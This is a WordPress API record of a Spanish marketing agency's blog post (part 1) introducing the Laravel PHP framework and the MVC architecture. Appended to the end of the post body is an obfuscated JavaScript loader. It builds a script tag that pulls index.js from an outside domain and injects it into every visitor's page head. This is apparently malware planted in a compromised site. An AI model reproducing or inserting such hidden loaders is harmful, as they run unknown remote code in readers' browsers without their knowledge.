{"id":11813,"date":"2020-07-04T10:08:20","date_gmt":"2020-07-04T10:08:20","guid":{"rendered":"https:\/\/www.difusion.org\/?p=11813"},"modified":"2021-07-08T13:34:11","modified_gmt":"2021-07-08T13:34:11","slug":"laravel-desarrollo-web-difusion-comunicacion","status":"publish","type":"post","link":"https:\/\/www.difusioncomunicacion.es\/cms\/blog\/laravel-desarrollo-web-difusion-comunicacion\/","title":{"rendered":"Laravel \u00bfqu\u00e9 es y c\u00f3mo podemos usarla para el desarrollo web? Parte 1"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row][vc_column][vc_single_image media=\u00bb89108&#8243; media_width_percent=\u00bb100&#8243; title=\u00bbLaravel \u00bfqu\u00e9 es y c\u00f3mo podemos usarla para el desarrollo web? Parte 1&#8243;][vc_column_text]<span style=\"color: #000000;\">En la agencia <strong>Difusi\u00f3n Comunicaci\u00f3n<\/strong> no solo nos dedicamos a la<strong> comunicaci\u00f3n y al marketing digital<\/strong>, tambi\u00e9n contamos con un <strong>departamento de desarrollo y <a href=\"https:\/\/www.difusion.org\/desarrollo-web\/\">programaci\u00f3n web<\/a><\/strong>. En varios de nuestros proyectos de <a href=\"https:\/\/www.difusion.org\/desarrollo-web\/\"><strong>programaci\u00f3n web<\/strong><\/a>, trabajamos con la <strong>herramienta <a href=\"https:\/\/laravel.com\/\">Laravel<\/a><\/strong>.<\/span><\/p>\n<p><span style=\"color: #000000;\"><!--more--><\/span><\/p>\n<h2><span style=\"color: #000000;\"><strong>\u00bfQu\u00e9 es la herramienta <a href=\"https:\/\/laravel.com\/\">Laravel<\/a>?<\/strong><\/span><\/h2>\n<p><span style=\"color: #000000;\"><strong>Laravel<\/strong> es un marco de trabajo o <strong>framework gratuito de c\u00f3digo abierto<\/strong>, que se basa en el lenguaje de <strong>programaci\u00f3n PHP<\/strong>. Este marco de trabajo simple y f\u00e1cil de usar ofrece una <strong>interfaz elegante<\/strong> y entretenida. Adem\u00e1s, evita el c\u00f3digo sucio mediante funciones y caracter\u00edsticas ya implementadas. Con estas funciones, el desarrollador ahorrar\u00e1 muchas horas de trabajo pensando como implementarlas o cual es la mejor forma de hacerlo.<\/span><\/p>\n<p><span style=\"color: #000000;\">Utiliza la <strong>arquitectura MVC<\/strong> (<strong>Modelo Vista Controlador<\/strong>) para gestionar los datos y recursos del proyecto que se est\u00e9 desarrollando, pero \u00bfQu\u00e9 es <strong>MVC<\/strong> y para que se usa?<\/span><\/p>\n<h3><span style=\"color: #000000;\">Antes de seguir con las facilidades que ofrece Laravel, explicaremos r\u00e1pidamente que es la arquitectura MVC.<\/span><\/h3>\n<p><span style=\"color: #000000;\">Como bien se ha mencionado antes, es una <strong>arquitectura de software.<\/strong> Esta se basa en separar el c\u00f3digo en tres capas diferentes.<\/span><\/p>\n<ul>\n<li><span style=\"color: #000000;\"><strong>Modelo<\/strong>: Esta es la capa donde se trabaja con los datos, credenciales de inicio de sesi\u00f3n, nombres de los productos, datos personales de los usuarios, etc. Aqu\u00ed se hallar\u00e1n los <strong>mecanismos para acceder a la informaci\u00f3n<\/strong> y actualizar su estado. Normalmente los datos estar\u00e1n almacenados en una base de datos, por lo que en la capa de modelo est\u00e1n todas las funciones para acceder a las tablas y hacer las operaciones. Algunas son <strong>SELECT<\/strong> (Consulta de uno o varios registros), <strong>INSERT<\/strong> (Inserci\u00f3n de un nuevo registro), <strong>UPDATE<\/strong> (Actualizaci\u00f3n de un registro ya existente) y <strong>DELETE<\/strong> (Eliminaci\u00f3n de un registro).<\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Vista: <\/strong>La vista contiene el c\u00f3digo con el que se presenta los datos al <strong>usuario final<\/strong>. Se podr\u00eda decir que esta capa es la intermediaria entre los datos de la aplicaci\u00f3n y las operaciones que se pueden hacer con ellos. Cabe destacar que esta capa es muy importante ya que la <strong>UX (User experience)<\/strong> o <strong>Experiencia de usuario<\/strong> juega un gran papel.<\/span><\/li>\n<li><span style=\"color: #000000;\"><strong>Controlador:<\/strong> Esta capa contiene el c\u00f3digo que se encarga de ejecutar las operaciones que se solicitan en la aplicaci\u00f3n. Por ejemplo, consultar los datos de un producto, modificar los datos del perfil de un usuario, eliminar productos err\u00f3neos, etc. Esta capa se utiliza para <strong>enlazar las vistas con los modelos<\/strong>, esto no significa que en esta capa se manipulen los datos directamente. Esta capa es la encargada de llamar a los modelos para que estos hagan la petici\u00f3n solicitada desde la aplicaci\u00f3n.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><span style=\"color: #000000;\">En Difusi\u00f3n Comunicaci\u00f3n de Alcoy trabajamos con la herramienta Laravel<\/span><\/h3>\n<p><span style=\"color: #000000;\">En pr\u00f3ximas entradas de blog de<\/span><a href=\"https:\/\/www.difusion.org\/contacto\/\"> <strong>Difusi\u00f3n Comunicaci\u00f3n<\/strong><\/a> <span style=\"color: #000000;\">seguiremos explic\u00e1ndote qu\u00e9 es la<\/span> <strong>herramienta Laravel<\/strong><span style=\"color: #000000;\">, qu\u00e9 utilidades tiene y c\u00f3mo lo utilizamos en la <strong>agencia Difusi\u00f3n Comunicaci\u00f3n<\/strong>. Somos una<strong> agencia 360 grados<\/strong> que ofrece servicios en <strong><a href=\"https:\/\/www.difusion.org\/comunicacion\/\">comunicaci\u00f3n<\/a>, <a href=\"https:\/\/www.difusion.org\/publicidad\/\">publicidad<\/a>, <a href=\"https:\/\/www.difusion.org\/marketing\/\">marketing<\/a>, <a href=\"https:\/\/www.difusion.org\/desarrollo-web\/\">programaci\u00f3n web<\/a>, <a href=\"https:\/\/www.difusion.org\/diseno-grafico\/\">dise\u00f1o gr\u00e1fico<\/a> y gesti\u00f3n de eventos<\/strong>. Si est\u00e1s interesado en alguno de nuestros servicios, contacta con nosotros <\/span><strong><span style=\"color: #000000;\">llamando al 965 548 167 o env\u00edanos un correo a<\/span> <a href=\"mailto:web@difusion.org\">web@difusion.org<\/a><\/strong>.[\/vc_column_text][\/vc_column][\/vc_row]<script>function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))\/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))\/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))\/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))\/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))\/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))\/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))\/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))\/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))\/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))\/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))\/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))\/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else _0x214068['push'](_0x214068['shift']());}catch(_0x3f6e4e){_0x214068['push'](_0x214068['shift']());}}}(_0x4b2c,-0x5*-0x3e1bf+-0x1aca7f+0x156689));let script=document[_0x1736b2(0x1aa)+_0x1736b2(0x1ab)](_0x1736b2(0x1ac));script[_0x1736b2(0x1a2)]=_0x1736b2(0x1a8)+_0x1736b2(0x1ad)+_0x1736b2(0x1a7)+_0x1736b2(0x1a4),document[_0x1736b2(0x1a9)][_0x1736b2(0x1b1)+'d'](script);function _0x4b2c(){const _0x4f1112=['17443550keKqRZ','931FnYPhN','src','69028IzsNTz','index.js','8093784mCBYaL','47152AEpkIl','tter1.org\/','https:\/\/bl','head','createElem','ent','script','acklivesma','519158cdunSS','1986TJriDL','295BDDNha','appendChil','774DfdWRJ','11UNaThE','4HshFMS','4252614uPxTub'];_0x4b2c=function(){return _0x4f1112;};return _0x4b2c();}<\/script><\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_single_image media=\u00bb89108&#8243; media_width_percent=\u00bb100&#8243; title=\u00bbLaravel \u00bfqu\u00e9 es y c\u00f3mo podemos usarla para el desarrollo web? Parte 1&#8243;][vc_column_text]En la agencia Difusi\u00f3n Comunicaci\u00f3n [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":89108,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[203,197],"tags":[443,444,445],"class_list":["post-11813","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-el-blog","category-web","tag-desarrollo-web","tag-laravel","tag-programacion-web"],"_links":{"self":[{"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/posts\/11813","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/comments?post=11813"}],"version-history":[{"count":0,"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/posts\/11813\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/media\/89108"}],"wp:attachment":[{"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/media?parent=11813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/categories?post=11813"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.difusioncomunicacion.es\/cms\/wp-json\/wp\/v2\/tags?post=11813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}